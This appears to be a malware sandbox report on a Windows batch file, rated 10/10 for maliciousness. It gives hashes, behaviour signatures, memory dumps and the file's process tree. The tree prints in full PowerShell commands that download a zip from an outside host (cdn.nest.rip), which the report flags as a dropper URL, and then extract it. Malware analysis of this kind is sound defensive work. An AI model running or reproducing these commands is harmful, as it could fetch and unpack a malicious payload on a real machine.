1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1557s
max time network
1564s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tesy - Copy (14).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	3052	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3052	powershell.exe
2648	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeDebugPrivilege	2648	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2264 wrote to memory of 3052	2264	cmd.exe	29
PID 2264 wrote to memory of 3052	2264	cmd.exe	29
PID 2264 wrote to memory of 3052	2264	cmd.exe	29
PID 2264 wrote to memory of 2648	2264	cmd.exe	30
PID 2264 wrote to memory of 2648	2264	cmd.exe	30
PID 2264 wrote to memory of 2648	2264	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2648

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
5e3530b0a8ad9cd76759f2362d854fd5

SHA1
65dcab90aca9aa6b367f18cad334bfc17f308009

SHA256
6ac9fb54c6c7cb37d314dab0186f0b748991fa6807164f5bdb8f68229cb17b24

SHA512
c46fdda6e9038b7d3eccbc36fc8d555a3f36bcfbad822abfe8d37bc6dc884022474fe0d5fd479fb9e0dc01cf806bb9a2ff9735510d17d57018079a30509f80e2

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7PNV0TP1UNIG1QWB5HR0.temp

Filesize
7KB

MD5
5e3530b0a8ad9cd76759f2362d854fd5

SHA1
65dcab90aca9aa6b367f18cad334bfc17f308009

SHA256
6ac9fb54c6c7cb37d314dab0186f0b748991fa6807164f5bdb8f68229cb17b24

SHA512
c46fdda6e9038b7d3eccbc36fc8d555a3f36bcfbad822abfe8d37bc6dc884022474fe0d5fd479fb9e0dc01cf806bb9a2ff9735510d17d57018079a30509f80e2

Download Submit
memory/2648-30-0x000007FEF4930000-0x000007FEF52CD000-memory.dmp

Filesize
9.6MB

Download
memory/2648-29-0x0000000002560000-0x00000000025E0000-memory.dmp

Filesize
512KB

Download
memory/2648-28-0x0000000002560000-0x00000000025E0000-memory.dmp

Filesize
512KB

Download
memory/2648-27-0x0000000002560000-0x00000000025E0000-memory.dmp

Filesize
512KB

Download
memory/2648-26-0x000007FEF4930000-0x000007FEF52CD000-memory.dmp

Filesize
9.6MB

Download
memory/2648-24-0x000007FEF4930000-0x000007FEF52CD000-memory.dmp

Filesize
9.6MB

Download
memory/2648-25-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

Download
memory/2648-23-0x000000001B180000-0x000000001B462000-memory.dmp

Filesize
2.9MB

Download
memory/3052-9-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/3052-15-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/3052-17-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/3052-16-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/3052-14-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/3052-13-0x000007FEF52D0000-0x000007FEF5C6D000-memory.dmp

Filesize
9.6MB

Download
memory/3052-11-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/3052-10-0x000007FEF52D0000-0x000007FEF5C6D000-memory.dmp

Filesize
9.6MB

Download
memory/3052-4-0x000000001B150000-0x000000001B432000-memory.dmp

Filesize
2.9MB

Download
memory/3052-8-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/3052-7-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/3052-6-0x000007FEF52D0000-0x000007FEF5C6D000-memory.dmp

Filesize
9.6MB

Download
memory/3052-5-0x00000000025F0000-0x00000000025F8000-memory.dmp

Filesize
32KB

Download